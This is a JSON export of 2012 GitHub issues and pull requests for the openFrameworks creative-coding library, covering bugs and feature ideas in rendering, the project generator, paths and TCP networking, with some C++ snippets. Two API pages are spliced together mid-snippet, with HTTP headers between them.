[{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"cf9ec647fbc78faae05cb2d11598f79c"'), ('date', 'Tue, 29 May 2012 20:01:47 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269431,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass 